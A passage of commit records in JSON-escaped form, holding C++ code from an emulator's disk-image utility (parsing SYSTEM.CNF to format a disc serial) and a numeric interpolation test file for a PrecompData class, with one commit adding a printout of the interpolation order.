systemCnfFile)\n{\n\tSystemConfigMap result;\n\tauto line = Utils::GetLine(systemCnfFile);\n\twhile(!systemCnfFile->IsEOF())\n\t{\n\t\tauto trimmedEnd = std::remove_if(line.begin(), line.end(), isspace);\n\t\tauto trimmedLine = std::string(line.begin(), trimmedEnd);\n\t\tstd::vector<std::string> components;\n\t\tboost::split(components, trimmedLine, boost::is_any_of(\"=\"), boost::algorithm::token_compress_on);\n\t\tif(components.size() >= 2)\n\t\t{\n\t\t\tresult.insert(std::make_pair(components[0], components[1]));\n\t\t}\n\t\tline = Utils::GetLine(systemCnfFile);\n\t}\n\treturn result;\n}\n\nstatic std::string GetDiskIdFromPath(const std::string& filePath)\n{\n\t\/\/Expecting something like SCUS_XXX.XX;1\n\tif(filePath.length() < 13)\n\t{\n\t\tthrow std::runtime_error(\"File name too short\");\n\t}\n\n\tauto subFilePath = filePath.substr(filePath.length() - 13);\n\tauto regionCode = subFilePath.substr(0, 4);\n\tauto serial1 = subFilePath.substr(5, 3);\n\tauto serial2 = subFilePath.substr(9, 2);\n\treturn regionCode + \"-\" + serial1 + serial2;\n}\n\nbool DiskUtils::TryGetDiskId(const boost::filesystem::path& imagePath, std::string* diskIdPtr)\n{\n\ttry\n\t{\n\t\tauto diskImage = CreateDiskImageFromPath(imagePath);\n\t\tauto systemConfigFile = std::unique_ptr<Framework::CStream>(diskImage->Open(\"SYSTEM.CNF;1\"));\n\t\tif(!systemConfigFile) return false;\n\n\t\tauto systemConfig = ParseSystemConfigFile(systemConfigFile.get());\n\t\tauto bootItemIterator = systemConfig.find(\"BOOT2\");\n\t\tif(bootItemIterator == std::end(systemConfig)) return false;\n\n\t\tauto diskId = GetDiskIdFromPath(bootItemIterator->second);\n\t\tif(diskIdPtr)\n\t\t{\n\t\t\t(*diskIdPtr) = diskId;\n\t\t}\n\t\treturn true;\n\t}\n\tcatch(const std::exception&)\n\t{\n\t\treturn false;\n\t}\n}\n<commit_msg>Format native serial values as \"SLES_XXX.XX\"<commit_after>#include <boost\/algorithm\/string.hpp>\n#include \"make_unique.h\"\n#include \"Utils.h\"\n#include \"stricmp.h\"\n#include \"DiskUtils.h\"\n#include \"IszImageStream.h\"\n#include \"CsoImageStream.h\"\n#include \"StdStream.h\"\n#ifdef WIN32\n#include \"VolumeStream.h\"\n#else\n#include \"Posix_VolumeStream.h\"\n#endif\n#ifdef __ANDROID__\n#include \"PosixFileStream.h\"\n#endif\n\nstatic Framework::CStream* CreateImageStream(const boost::filesystem::path& imagePath)\n{\n#ifdef __ANDROID__\n\treturn new Framework::CPosixFileStream(imagePath.string().c_str(), O_RDONLY);\n#else\n\treturn new Framework::CStdStream(imagePath.string().c_str(), \"rb\");\n#endif\n}\n\nDiskUtils::Iso9660Ptr DiskUtils::CreateDiskImageFromPath(const boost::filesystem::path& imagePath)\n{\n\tassert(!imagePath.empty());\n\n\tstd::shared_ptr<Framework::CStream> stream;\n\tauto extension = imagePath.extension().string();\n\n\t\/\/Gotta think of something better than that...\n\tif(!stricmp(extension.c_str(), \".isz\"))\n\t{\n\t\tstream = std::make_shared<CIszImageStream>(CreateImageStream(imagePath));\n\t}\n\telse if(!stricmp(extension.c_str(), \".cso\"))\n\t{\n\t\tstream = std::make_shared<CCsoImageStream>(CreateImageStream(imagePath));\n\t}\n#ifdef WIN32\n\telse if(imagePath.string()[0] == '\\\\')\n\t{\n\t\tstream = std::make_shared<Framework::Win32::CVolumeStream>(imagePath.string()[4]);\n\t}\n#elif !defined(__ANDROID__) && !TARGET_OS_IPHONE && !TARGET_IPHONE_SIMULATOR\n\telse\n\t{\n\t\ttry\n\t\t{\n\t\t\tstream = std::make_shared<Framework::Posix::CVolumeStream>(path);\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\t\/\/Ok if it fails here, might be a standard ISO image file\n\t\t\t\/\/which will be handled below\n\t\t}\n\t}\n#endif\n\n\t\/\/If it's null after all that, just feed it to a StdStream\n\tif(!stream)\n\t{\n\t\tstream = std::shared_ptr<Framework::CStream>(CreateImageStream(imagePath));\n\t}\n\n\tIso9660Ptr result;\n\ttry\n\t{\n\t\tauto blockProvider = std::make_shared<ISO9660::CBlockProvider2048>(stream);\n\t\tresult = std::make_unique<CISO9660>(blockProvider);\n\t}\n\tcatch(...)\n\t{\n\t\t\/\/Failed with block size 2048, try with CD-ROM XA\n\t\tauto blockProvider = std::make_shared<ISO9660::CBlockProviderCDROMXA>(stream);\n\t\tresult = std::make_unique<CISO9660>(blockProvider);\n\t}\n\treturn result;\n}\n\nDiskUtils::SystemConfigMap DiskUtils::ParseSystemConfigFile(Framework::CStream* systemCnfFile)\n{\n\tSystemConfigMap result;\n\tauto line = Utils::GetLine(systemCnfFile);\n\twhile(!systemCnfFile->IsEOF())\n\t{\n\t\tauto trimmedEnd = std::remove_if(line.begin(), line.end(), isspace);\n\t\tauto trimmedLine = std::string(line.begin(), trimmedEnd);\n\t\tstd::vector<std::string> components;\n\t\tboost::split(components, trimmedLine, boost::is_any_of(\"=\"), boost::algorithm::token_compress_on);\n\t\tif(components.size() >= 2)\n\t\t{\n\t\t\tresult.insert(std::make_pair(components[0], components[1]));\n\t\t}\n\t\tline = Utils::GetLine(systemCnfFile);\n\t}\n\treturn result;\n}\n\nstatic std::string GetDiskIdFromPath(const std::string& filePath)\n{\n\t\/\/Expecting something like SCUS_XXX.XX;1\n\tif(filePath.length() < 13)\n\t{\n\t\tthrow std::runtime_error(\"File name too short\");\n\t}\n\n\tauto subFilePath = filePath.substr(filePath.length() - 13);\n\tauto regionCode = subFilePath.substr(0, 4);\n\tauto serial1 = subFilePath.substr(5, 3);\n\tauto serial2 = subFilePath.substr(9, 2);\n\treturn regionCode + \"_\" + serial1 + \".\" + serial2;\n}\n\nbool DiskUtils::TryGetDiskId(const boost::filesystem::path& imagePath, std::string* diskIdPtr)\n{\n\ttry\n\t{\n\t\tauto diskImage = CreateDiskImageFromPath(imagePath);\n\t\tauto systemConfigFile = std::unique_ptr<Framework::CStream>(diskImage->Open(\"SYSTEM.CNF;1\"));\n\t\tif(!systemConfigFile) return false;\n\n\t\tauto systemConfig = ParseSystemConfigFile(systemConfigFile.get());\n\t\tauto bootItemIterator = systemConfig.find(\"BOOT2\");\n\t\tif(bootItemIterator == std::end(systemConfig)) return false;\n\n\t\tauto diskId = GetDiskIdFromPath(bootItemIterator->second);\n\t\tif(diskIdPtr)\n\t\t{\n\t\t\t(*diskIdPtr) = diskId;\n\t\t}\n\t\treturn true;\n\t}\n\tcatch(const std::exception&)\n\t{\n\t\treturn false;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ PrecompData_test.cpp\r\n\r\n\/** Test the PrecompData class\r\n *\/\r\n\r\n#include \"PrecompData.h\"\r\n#include \"PrecompData_test.h\"\r\n#include <cmath>\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nusing namespace std;\r\nusing Utilities::PrecompData;\r\n\r\ntypedef PrecompData<float, float, 2, 1> pcd21;  \/\/ f: (X, Y) --> Z\r\n\r\nfloat TestFunc(float x) {\r\n\treturn sin(x);\r\n}\r\n\r\nfloat TestFuncLin(float x) {            \/\/   y = 2x\r\n    return 2*x;\r\n}\r\n\r\nfloat TestFuncNonLin1(float x) {        \/\/   y = |x|\r\n    return fabs(x);\r\n}\r\n\r\nfloat TestFuncNonLin2(float x) {        \/\/   y = 1\/(|x-2| + 0.1)\r\n    return 1\/(fabs(x - 2.0f) + 0.1f);\r\n}\r\n\r\nfloat TestFuncNonLinSin(float x) {      \/\/   y = sin(x)\r\n    return sin(x);\r\n}\r\n\r\npcd21::Y TestFunc21(pcd21::X x) {       \/\/   y = sin(x0) + cos(x1)\r\n    return pcd21::Y { sin(x[0]) + cos(x[1]) };\r\n}\r\n\r\n\r\nnamespace Utilities {\r\n\r\nPrecompData_test::PrecompData_test()\r\n{\r\n\tusing namespace Utilities;\r\n\r\n    cout << std::fixed;\r\n\r\n    const int nValues = 20;\r\n\r\n    \/\/ Test 1 - Interpolation\r\n\t{\r\n        cout << \"\\n\\nTest 1: Zero-degree (nearest-neighbor\/point sampling\/Voronoi) interpolation:\" << endl;\r\n\t\tconst string funcName = \"TestFunc\";\r\n\t\tPrecompData<> itp(funcName);    \/\/ default: float type\r\n\t\titp.SetComment(\"TestFunc approximation\");\r\n\t\tconst float x0 = 0.0f, x1 = 6.28f;\r\n\t\tconst float step = 0.5f*(x1 - x0)\/nValues;\r\n\t\titp.Set(&TestFunc, x0, x1, nValues);\r\n\t\tfloat x = x0;\r\n        float err = 0.0f;\r\n\t\tfor(int i = 0; i < nValues; ++i) {\r\n            const float y = itp(x);\r\n            err += fabs(TestFunc(x) - y);\r\n\t\t\tcout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n\t\t\tx += step;\r\n\t\t}\r\n        cout << \"Total error = \" << err << endl;\r\n\t}\r\n#if 0\r\n    \/\/ Test 2 - Interpolation\r\n    {\r\n        cout << \"\\n\\nTest 2: Linear interpolation:\" << endl;\r\n        const string funcName = \"TestFunc\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        const float step = 0.5*(x1 - x0)\/nValues;\r\n        itp.Set(&TestFunc, x0, x1, nValues);\r\n        float x = x0;\r\n        float err = 0.0;\r\n        itp.Interpolation(1);\r\n        cout << \"Interpolation: \" << itp.Interpolation() << endl;\r\n        for(int i = 0; i < nValues; ++i) {\r\n            const float y = itp.Interpolate(x);\r\n            err += fabs(TestFunc(x) - y);\r\n            cout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n            x += step;\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n\r\n    \/\/ Test 3 - AutoSet:  y = 2x\r\n    {\r\n        cout << \"\\n\\nTest 3: Automatic irregular grid:    y = 2x\" << endl;\r\n        const string funcName = \"y = 2x\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncLin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    \/\/ Test 4 - AutoSet:  y = 1\/(|x-2| + 0.1)\r\n    {\r\n        cout << \"\\n\\nTest 4: Automatic irregular grid:    y = 1\/(|x-2| + 0.1)\" << endl;\r\n        const string funcName = \"y = 1\/(|x-2| + 0.1)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncNonLin2, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    \/\/ Test 5 - Derivatives\r\n    {\r\n        cout << \"\\n\\nTest 5: Derivatives\" << endl;\r\n        int nTests = 0, nFailed = 0;\r\n        const string funcName = \"Derivatives\";\r\n        float x1, y1, x2, y2, x3, y3, der1, der2, expRes;\r\n        PrecompData<float> test;\r\n\r\n        \/\/ First derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; expRes = 1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 2\" << endl;\r\n        }\r\n        x1 = 1.0; y1 = 0.0; x2 = 0.0; y2 = 1.0; expRes = -1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 2.0; y2 = 1.0; expRes = 0.5;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 4\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = -1.0; x2 = 1.0; y2 = 1.0; expRes = 2.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 5\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 6\" << endl;\r\n        }\r\n\r\n        \/\/ Second derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; x3 = 2.0; y3 = 0.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 1.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 2\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 2.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 4.0; expRes = 2.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 4: Result = \" << der2 << \"; Expected = \" << expRes << endl;\r\n        }\r\n\r\n        cout << \"Derivatives:  Number of tests = \" << nTests << \";  Number of failures = \" << nFailed << endl;\r\n    }\r\n\r\n    \/\/ Test 6 - AutoSet:  y = sin(x)\r\n    \/\/ Result: values too concentrated in the points with high absolute second derivative\r\n    {\r\n        cout << \"\\n\\nTest 6: Automatic irregular grid:    y = sin(x)\" << endl;\r\n        const string funcName = \"y = sin(x)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.SetOversampling(1.5f);\r\n        itp.AutoSet(&TestFuncNonLinSin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n        int n = 100;\r\n        cout << \"Compare approximation with real sin(x) function (done on \" << n << \" points):\" << endl;\r\n        float error = 0.0f, avgErr = 0.0f;\r\n        float minErrX = 1.0e20f, minErrY = 1.0e20f;\r\n        float maxErrX = 0.0f,    maxErrY = 0.0f;\r\n        float x = x0, step = (x1 - x0)\/n;\r\n        for(int i = 0; i < n; ++i) {\r\n            error = fabs(sin(x) - itp.Interpolate(x));\r\n            cout << i << \": \\t\" << x << \", \\t \" << sin(x) << \", \\t \" << itp.Interpolate(x) << \", \\t \" << error << endl;\r\n            if(error < minErrY) { minErrX = x; minErrY = error; }\r\n            if(error > maxErrY) { maxErrX = x; maxErrY = error; }\r\n            avgErr += error;\r\n            x += step;\r\n        }\r\n        avgErr \/= n;\r\n        cout << \"Result:  minimum error = [\" << minErrX << \", \" << minErrY\r\n             <<      \"];  maximum error = [\" << maxErrX << \", \" << maxErrY\r\n             <<      \"];  average error = \" << avgErr << endl;\r\n    }\r\n\r\n    \/\/ Test 7 - Multidimensions\r\n    {\r\n        cout << \"\\n\\nTest 7: Storage of data in an NxM space:\" << endl;\r\n        const string funcName = \"Multidimensions\";\r\n        pcd21 itp(funcName);\r\n        itp.SetComment(\"Y = f(X)    X = x(i,j), Y = y(i)\");\r\n        pcd21::X x0 = { 0.00f, 0.00f };     \/\/ coordinates of the starting point\r\n        pcd21::X x1 = { 6.28f, 6.28f };     \/\/ coordinates of the end point\r\n\t\tconst pcd21::X step = { 0.5f*(x1[0] - x0[0])\/nValues,\r\n\t\t                        0.5f*(x1[1] - x0[1])\/nValues };\r\n        itp.Set(&TestFunc21, x0, x1, nValues*nValues);\r\n        pcd21::X x = x0;\r\n        float err = 0.0;\r\n        for(int j = 0; j < nValues; ++j)\r\n        {\r\n            x[0] = x0[0];\r\n            for(int i = 0; i < nValues; ++i)\r\n            {\r\n                const pcd21::Y y = itp(x);\r\n                err += fabs(TestFunc21(x)[0] - y[0]);\r\n                cout << i << \":\\t\" << funcName << \"[\" << x[0] << \", \" << x[1] << \"] = \" << TestFunc21(x)[0] << \" ~ \" << y[0] << endl;\r\n                x[0] += step[0];\r\n            }\r\n            x[1] += step[1];\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n#endif\r\n}\r\n\r\n\r\n} \/\/ Utilities\r\n\r\n\r\nint main()\r\n{\r\n    using namespace Utilities;\r\n\r\n    PrecompData_test test;\r\n\r\n    return 0;\r\n}\r\n<commit_msg>- Test 1: print interpolation order (0).<commit_after>\/\/\/ PrecompData_test.cpp\r\n\r\n\/** Test the PrecompData class\r\n *\/\r\n\r\n#include \"PrecompData.h\"\r\n#include \"PrecompData_test.h\"\r\n#include <cmath>\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nusing namespace std;\r\nusing Utilities::PrecompData;\r\n\r\ntypedef PrecompData<float, float, 2, 1> pcd21;  \/\/ f: (X, Y) --> Z\r\n\r\nfloat TestFunc(float x) {\r\n\treturn sin(x);\r\n}\r\n\r\nfloat TestFuncLin(float x) {            \/\/   y = 2x\r\n    return 2*x;\r\n}\r\n\r\nfloat TestFuncNonLin1(float x) {        \/\/   y = |x|\r\n    return fabs(x);\r\n}\r\n\r\nfloat TestFuncNonLin2(float x) {        \/\/   y = 1\/(|x-2| + 0.1)\r\n    return 1\/(fabs(x - 2.0f) + 0.1f);\r\n}\r\n\r\nfloat TestFuncNonLinSin(float x) {      \/\/   y = sin(x)\r\n    return sin(x);\r\n}\r\n\r\npcd21::Y TestFunc21(pcd21::X x) {       \/\/   y = sin(x0) + cos(x1)\r\n    return pcd21::Y { sin(x[0]) + cos(x[1]) };\r\n}\r\n\r\n\r\nnamespace Utilities {\r\n\r\nPrecompData_test::PrecompData_test()\r\n{\r\n\tusing namespace Utilities;\r\n\r\n    cout << std::fixed;\r\n\r\n    const int nValues = 20;\r\n\r\n    \/\/ Test 1 - Interpolation\r\n\t{\r\n        cout << \"\\n\\nTest 1: Zero-degree (nearest-neighbor\/point sampling\/Voronoi) interpolation:\" << endl;\r\n\t\tconst string funcName = \"TestFunc\";\r\n\t\tPrecompData<> itp(funcName);    \/\/ default: float type\r\n\t\titp.SetComment(\"TestFunc approximation\");\r\n\t\tconst float x0 = 0.0f, x1 = 6.28f;\r\n\t\tconst float step = 0.5f*(x1 - x0)\/nValues;\r\n\t\titp.Set(&TestFunc, x0, x1, nValues);\r\n\t\tfloat x = x0;\r\n        float err = 0.0f;\r\n        itp.Interpolation(0);\r\n        cout << \"Interpolation: \" << itp.Interpolation() << endl;\r\n\t\tfor(int i = 0; i < nValues; ++i) {\r\n            const float y = itp(x);\r\n            err += fabs(TestFunc(x) - y);\r\n\t\t\tcout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n\t\t\tx += step;\r\n\t\t}\r\n        cout << \"Total error = \" << err << endl;\r\n\t}\r\n#if 0\r\n    \/\/ Test 2 - Interpolation\r\n    {\r\n        cout << \"\\n\\nTest 2: Linear interpolation:\" << endl;\r\n        const string funcName = \"TestFunc\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        const float step = 0.5*(x1 - x0)\/nValues;\r\n        itp.Set(&TestFunc, x0, x1, nValues);\r\n        float x = x0;\r\n        float err = 0.0;\r\n        itp.Interpolation(1);\r\n        cout << \"Interpolation: \" << itp.Interpolation() << endl;\r\n        for(int i = 0; i < nValues; ++i) {\r\n            const float y = itp.Interpolate(x);\r\n            err += fabs(TestFunc(x) - y);\r\n            cout << i << \":\\t\" << funcName << \"(\" << x << \") = \" << TestFunc(x) << \" ~ \" << y << endl;\r\n            x += step;\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n\r\n    \/\/ Test 3 - AutoSet:  y = 2x\r\n    {\r\n        cout << \"\\n\\nTest 3: Automatic irregular grid:    y = 2x\" << endl;\r\n        const string funcName = \"y = 2x\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncLin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    \/\/ Test 4 - AutoSet:  y = 1\/(|x-2| + 0.1)\r\n    {\r\n        cout << \"\\n\\nTest 4: Automatic irregular grid:    y = 1\/(|x-2| + 0.1)\" << endl;\r\n        const string funcName = \"y = 1\/(|x-2| + 0.1)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.AutoSet(&TestFuncNonLin2, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n    }\r\n\r\n    \/\/ Test 5 - Derivatives\r\n    {\r\n        cout << \"\\n\\nTest 5: Derivatives\" << endl;\r\n        int nTests = 0, nFailed = 0;\r\n        const string funcName = \"Derivatives\";\r\n        float x1, y1, x2, y2, x3, y3, der1, der2, expRes;\r\n        PrecompData<float> test;\r\n\r\n        \/\/ First derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; expRes = 1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 2\" << endl;\r\n        }\r\n        x1 = 1.0; y1 = 0.0; x2 = 0.0; y2 = 1.0; expRes = -1.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 2.0; y2 = 1.0; expRes = 0.5;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 4\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = -1.0; x2 = 1.0; y2 = 1.0; expRes = 2.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 5\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; expRes = 0.0;\r\n        der1 = test.FirstDerivative(x1, y1, x2, y2);\r\n        ++nTests;\r\n        if(fabs(der1 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - First derivative 6\" << endl;\r\n        }\r\n\r\n        \/\/ Second derivative\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 0.0; x3 = 2.0; y3 = 0.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 1\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 1.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 1.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 2\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 2.0; expRes = 0.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 3\" << endl;\r\n        }\r\n        x1 = 0.0; y1 = 0.0; x2 = 1.0; y2 = 1.0; x3 = 2.0; y3 = 4.0; expRes = 2.0;\r\n        der2 = test.SecondDerivative(x1, y1, x2, y2, x3, y3);\r\n        ++nTests;\r\n        if(fabs(der2 - expRes) > 0.0001) {\r\n            ++nFailed;\r\n            cerr << \"Error - Second derivative 4: Result = \" << der2 << \"; Expected = \" << expRes << endl;\r\n        }\r\n\r\n        cout << \"Derivatives:  Number of tests = \" << nTests << \";  Number of failures = \" << nFailed << endl;\r\n    }\r\n\r\n    \/\/ Test 6 - AutoSet:  y = sin(x)\r\n    \/\/ Result: values too concentrated in the points with high absolute second derivative\r\n    {\r\n        cout << \"\\n\\nTest 6: Automatic irregular grid:    y = sin(x)\" << endl;\r\n        const string funcName = \"y = sin(x)\";\r\n        PrecompData<float> itp(funcName);\r\n        const float x0 = 0.0f, x1 = 6.28f;\r\n        itp.SetOversampling(1.5f);\r\n        itp.AutoSet(&TestFuncNonLinSin, x0, x1, nValues);\r\n        cerr << \"x0 = \" << x0 << \"  x1 = \" << x1 << \"  nValues = \" << nValues << endl;  \/\/+T+\r\n        std::vector<float> vx, vy;\r\n        itp.Get(vx, vy);\r\n        cout << \"Sizes:  x = \" << vx.size() << \";  y = \" << vy.size() << endl;\r\n        for(size_t i = 0; i < nValues; ++i) {\r\n            cout << i << \":  \" << vx[i] << \", \" << vy[i] << endl;\r\n        }\r\n        int n = 100;\r\n        cout << \"Compare approximation with real sin(x) function (done on \" << n << \" points):\" << endl;\r\n        float error = 0.0f, avgErr = 0.0f;\r\n        float minErrX = 1.0e20f, minErrY = 1.0e20f;\r\n        float maxErrX = 0.0f,    maxErrY = 0.0f;\r\n        float x = x0, step = (x1 - x0)\/n;\r\n        for(int i = 0; i < n; ++i) {\r\n            error = fabs(sin(x) - itp.Interpolate(x));\r\n            cout << i << \": \\t\" << x << \", \\t \" << sin(x) << \", \\t \" << itp.Interpolate(x) << \", \\t \" << error << endl;\r\n            if(error < minErrY) { minErrX = x; minErrY = error; }\r\n            if(error > maxErrY) { maxErrX = x; maxErrY = error; }\r\n            avgErr += error;\r\n            x += step;\r\n        }\r\n        avgErr \/= n;\r\n        cout << \"Result:  minimum error = [\" << minErrX << \", \" << minErrY\r\n             <<      \"];  maximum error = [\" << maxErrX << \", \" << maxErrY\r\n             <<      \"];  average error = \" << avgErr << endl;\r\n    }\r\n\r\n    \/\/ Test 7 - Multidimensions\r\n    {\r\n        cout << \"\\n\\nTest 7: Storage of data in an NxM space:\" << endl;\r\n        const string funcName = 